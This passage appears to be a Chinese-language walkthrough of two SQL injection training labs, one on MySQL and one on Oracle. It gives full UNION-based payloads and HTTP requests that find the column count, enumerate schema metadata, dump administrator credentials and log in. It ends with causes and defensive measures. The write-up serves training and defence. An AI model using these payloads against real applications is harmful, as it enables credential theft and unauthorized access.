断列数最后把数据库中的结构信息回显到页面里。但它们的数据库环境并不一样一题侧重 MySQL另一题侧重 Oracle。正因为如此注释符、系统视图这些细节会有差别所以我把这两个 LAB 放在一起来分享也顺便做个对比。LAB5描述LAB6描述【本篇目标】先用 MySQL 题目演示一下我是怎么从列数探测一路做到字段枚举最后拿到 administrator 的密码并登录的。再补一段 Oracle 分支看看同样的题目在 Oracle 中换一种思路是怎样的。一、先记住这类题的通用思路这类 UNION 注入题的主线其实不复杂我一般会把它概括成四步确认注入点通常是一个看起来普通的分类参数。通过 ORDER BY n 判断原查询有几列。用 NULL 对齐列数再尝试把敏感数据带到可回显的列里。根据数据库类型调整注释符和系统函数。如果把这四步牢牢记住后面再看到相似题型时基本就是在切换数据库语法而不是重新发明一套打法。二、MySQL 分支通过列名拿到密码LAB主页LAB登录界面先看 MySQL 这道题。页面上的注入点仍然是 /filter?category…我先把后端查询大致推测出来SELECT * FROM products WHERE category ‘Gifts’2.1 探测列数为了让 UNION 语句成立我得先知道原查询有几列。这里我用 ORDER BY n 逐步测试’ ORDER BY 1–’ ORDER BY 2–’ ORDER BY 3–Burp Suite 抓取结果2当 ORDER BY 3 报错时就说明原查询只有 2 列。这一步是后面所有 UNION 注入的前提。【注释符提醒】MySQL 中 – 后面要保留空格如果在 URL 里直接用记得把空格写成 或 %20。本篇后续示例统一用 – 书写方便阅读。2.2 从信息架构里找字段这道题的核心不是直接猜表名而是先枚举数据库元数据。information_schema.columns 里面保存了列名信息所以我先拿它来找用户名和密码字段Burp Suite 抓取结果3SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, column_name FROM information_schema.columns –筛选结果里会出现两个很显眼的字段username_vadgwn 和 password_txeztd。2.3 反查表名拿到列名之后我再反查它们来自哪个表SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name ‘username_vadgwn’ –SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM information_schema.columns WHERE column_name ‘password_txeztd’ –Burp Suite 抓取结果4Burp Suite 抓取结果5两次查询都指向同一个表 users_teluls说明凭据都存放在这里。2.4 回显用户名和密码既然已经确认表名我就可以把用户名和密码直接拼到 UNION 结果里SELECT * FROM products WHERE category ‘’ UNION SELECT username_vadgwn, password_txeztd FROM users_teluls –最终请求可以写成GET /filter?category’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls -- HTTP/2Burp Suite 抓取结果6把回显结果中的 administrator 密码填回登录页就能直接通过认证。攻击成功【MySQL 分支 Payload】’ UNION SELECT username_vadgwn,password_txeztd FROM users_teluls –三、Oracle 分支通过表名拿到密码Oracle 题和上面的 MySQL 题思路几乎相同不过我想换一种方法也就是先查表名再通过列名来验证是否为正确目标。3.1 查询表名在 MySQL 中我们是通过“人肉扫描”的办法来寻找可疑项的这一次我打算改成用 LIKE 搭配通配符来做模糊搜索。还有一点要注意的是大小写问题。为了防止大小写不一致导致查询结果缺失这里我用了一个 upper 函数把 table_name 转成大写这样搜索时就不会区分大小写了。SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, table_name FROM all_tables WHERE upper(table_name) LIKE ‘%USER%’ –Burp Suite 抓取结果7通过模糊搜索表名我找到了可疑表名 USERS_NRCXBC。3.2 检索列名接下来我再看一下表中的列是不是我要找的用户名和密码。SELECT * FROM products WHERE category ‘’ UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name ‘USERS_NRCXBC’ –Burp Suite 抓取结果8可以看到表中的列名分别为 EMAIL、PASSWORD_EBXMBT、USERNAME_MUXIWC说明凭据确实存放在这张表里。3.3 回显用户名和密码确定了表名和列名之后我就可以把用户名和密码直接拼到 UNION 结果里了SELECT * FROM products WHERE category ‘’ UNION SELECT USERNAME_MUXIWC, PASSWORD_EBXMBT FROM USERS_NRCXBC –最终请求可以写成GET /filter?category’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC -- HTTP/2Burp Suite 抓取结果9把回显结果中的 administrator 密码填回登录页就能直接通过认证。攻击成功2【Oracle 分支 Payload】’ UNION SELECT USERNAME_MUXIWC,PASSWORD_EBXMBT FROM USERS_NRCXBC –四、两者的区别如果把这两道题放在一起看最容易混淆的地方其实不是 UNION 的写法而是数据库环境的切换。前面的操作步骤看起来差不多但真正落地时我还是得跟着数据库类型去调整注释符、系统视图和回显思路。对比项 MySQL 分支 Oracle 分支注释符 常用 – 注意后面要带空格 同样可以用 – 但更要留意 URL 编码元数据视图 主要看 information_schema.columns 主要看 all_tables 和 all_tab_columns查询思路 先找列名再反查表名最后回显用户名和密码 先模糊匹配表名再确认列名最后把目标字段直接拼进 UNION所以本质上它们还是同一道类型题先确认注入点再判断列数再按数据库语法去找元数据。只要把这个顺序稳住后面换成别的数据库也只是细节在变思路不会变。五、总结与防御建议这两道实验都属于 UNION 联合查询注入它们共同暴露出的问题也很一致用户输入直接拼接进 SQL错误信息被回显数据库元数据也没有被限制。根本成因我整理成三点产品类别过滤器参数被直接拼接到 SQL 语句中未做安全处理应用将数据库错误直接回显给客户端为列数探测和结构枚举提供反馈数据库账户和敏感表结构缺乏最小权限隔离导致凭据或版本信息可被直接读取。防御措施我也简单列一下参数化查询 —— 将 SQL 代码与用户数据彻底分离关闭详细错误回显 —— 生产环境屏蔽数据库报错细节避免泄露结构信息限制系统元数据访问 —— 对 information_schema 等元数据视图进行访问控制最小权限原则 —— 数据库账户仅授予必要权限统一审计和告警 —— 对高频的 ORDER BY、UNION、系统视图访问行为做监控。